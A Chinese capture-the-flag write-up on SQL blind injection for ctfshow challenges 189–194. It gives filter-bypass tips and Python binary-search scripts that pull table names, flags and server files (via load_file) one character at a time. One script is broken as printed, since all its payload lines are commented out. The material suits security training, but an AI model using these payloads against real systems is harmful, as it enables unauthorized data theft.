SQL盲注的总结
1. 如果没有过滤掉if or select information where这些字段可以采取盲注,具体更具自己fuzz的来判断
2. 如果过滤了substr可以用mid left substring right来代替
3. locate可以判断字符在文件中的位置
4. 过滤掉ascii可以用ord替代 或者直接进行字符的比较 字符比较因为不区分大小写可能会在一些数据上出现错误,并且要判断大小写
189
代码分析
题目提示:flag在api/index.php文件中
看一下题目源码
sql语句
$sql = "select pass from ctfshow_user where username = {$username}";
返回逻辑 过滤了select and 空格 into where这些字符
//用户名检测
if(preg_match('/select|and| |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\x26|\x7c|or|into|from|where|join|sleep|benchmark/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}
//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}
这道题利用的是回显的不同,前面的题目已经知道了sql的弱比较,username输入0的时候返回密码错误,输入1的时候返回查询失败,我们可以根据这个来进行盲注
locate和load_file
这道题题目提示了flag所在的文件是在api/index.php文件里
我们可以用load_file读取文件内容,然后利用盲注来一个一个的字符获取文件内容,直到读取到flag
但是这里有个简单的方法还可以locate函数来判断出ctfshow{这个flag的index
然后直接读取从ctfshow{开始读取flag
这个二分法脚本很值得学习
import requests
url = "http://3c62eaac-7e52-44c0-8a45-ae24d2881a92.challenge.ctf.show/api/"
payload1 = "if(locate('ctfshow',load_file('/var/www/html/api/index.php'))>{index},0,1)"
payload2 = "if(ascii(substr(load_file('/var/www/html/api/index.php'),{},1))>{},0,1)"
def find_flag_index():
head = 1
tail= 300
while head < tail:
mid = (head + tail) >> 1
data = {
"username": payload1.format(index=mid),
"password": '0'
}
response = requests.post(url, data=data)
if "密码错误" in response.json()['msg']:
head = mid +1
else:
tail = mid
print("[!]flag index",mid)
return mid
def getFlag(num):
i = int(num)
flag = ""
while True:
head = 32
tail = 127
i = i + 1
while not (abs(head-tail) == 1 or head == tail):
mid = (head + tail) // 2
data = {
"username": payload2.format(i,mid),
"password": '0'
}
response = requests.post(url,data=data)
if "密码错误" in response.json()['msg']:
head = mid
else:
tail = mid
if tail < head:
tail = head
flag += chr(tail)
print("[!]flag:",flag)
if flag[-1] == "}":
break
if __name__== "__main__":
Index = find_flag_index()
getFlag(Index)
190
代码分析
sql语句
$sql = "select pass from ctfshow_user where username = '{$username}'";
返回逻辑
//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}
//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}
这里的闭合多了一个’,是一个字符型注入,也就是前面的0失效了emmm
其实很简单
构造注入语句
1' or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>10,1,0)#
这里会返回密码错误 也就是说这里的if判断是正确的 也就变成了1’ or 1后面的1恒真
做题脚本
import requests
url = "http://ef5733fe-8d5a-42b2-865f-767e346e4c58.challenge.ctf.show/api/"
# select pass from ctfshow_user where username = '{$username}';
#payload = "0' or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{},1,0)#"
#payload = "0' or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))>{},1,0)#"
#payload = "0' or if(ascii(substr((select group_concat(f1ag) from ctfshow_fl0g),{},1))>{},1,0)#"
flag = ""
def get_Flag():
global flag
for i in range(1,100):
print(i)
head = 32
tail = 127
while not (abs(head-tail) == 1 or head == tail):
mid = (head + tail) // 2
data = {
"username":payload.format(i,mid),
"password":0
}
response = requests.post(url, data=data)
if "密码错误" in response.json()['msg']:
head = mid
else:
tail = mid
if tail < head:
tail = head
flag = flag + chr(tail)
print("flag:",flag)
if __name__=="__main__":
get_Flag()
191-192
代码分析
sql语句
$sql = "select pass from ctfshow_user where username = '{$username}'";
返回逻辑
//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}
//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}
//TODO:感觉少了个啥,奇怪
if(preg_match('/file|into|ascii/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
这里过滤了ascii 我们直接可以不用ascii来进行注入,但是这里有一个问题字符比较的话,不区分大小写,所以数据可能稍微会有点错误,还有要自己改成小写
做题脚本
import requests
url = "http://3436e762-c16e-4d42-b01e-710219e60a3e.challenge.ctf.show/api/"
# select pass from ctfshow_user where username = '{$username}';
#payload = "0' or if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)>'{}',1,0)#"
#payload = "0' or if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database()),{},1)>'{}',1,0)#"
payload = "0' or if(substr((select group_concat(F1AG) from ctfshow_fl0g),{},1)>'{}',1,0)#"
flag = ""
def get_Flag():
global flag
for i in range(1,100):
print(i)
head = 32
tail = 127
while not (abs(head-tail) == 1 or head == tail):
mid = (head + tail) // 2
data = {
"username":payload.format(i,chr(mid)),
"password":0
}
response = requests.post(url, data=data)
if "密码错误" in response.json()['msg']:
head = mid
else:
tail = mid
if tail < head:
tail = head
flag = flag + chr(tail)
print("flag:",flag)
if __name__=="__main__":
get_Flag()
192的告诫
后来看了192的过滤知道了其实可以把ascii改成ord,hex这些来进行盲注,就不会遇到大小写这些问题了
193-194
代码分析
查询语句
$sql = "select pass from ctfshow_user where username = '{$username}'";
返回逻辑
//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}
//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}
//TODO:感觉少了个啥,奇怪
if(preg_match('/file|into|ascii|ord|hex|substr/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
在原有的基础上过滤substr,可以改用mid,left,substring,right代替
做题脚本
import requests
url = "http://8a3fa581-56a8-4ad6-b8f4-2ab4f4701a47.challenge.ctf.show/api/"
# select pass from ctfshow_user where username = '{$username}';
#payload = "0' or if(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)>'{}',1,0)#"
#payload = "0' or if(mid((select group_concat(column_name) from information_schema.columns where table_schema=database()),{},1)>'{}',1,0)#"
payload = "0' or if(mid((select group_concat(F1AG) from ctfshow_flxg),{},1)>'{}',1,0)#"
flag = ""
def get_Flag():
global flag
for i in range(1,100):
print(i)
head = 32
tail = 127
while not (abs(head-tail) == 1 or head == tail):
mid = (head + tail) // 2
data = {
"username":payload.format(i,chr(mid)),
"password":0
}
response = requests.post(url, data=data)
if "密码错误" in response.json()['msg']:
head = mid
else:
tail = mid
if tail < head:
tail = head
flag = flag + chr(tail)
print("flag:",flag)
if __name__=="__main__":
get_Flag()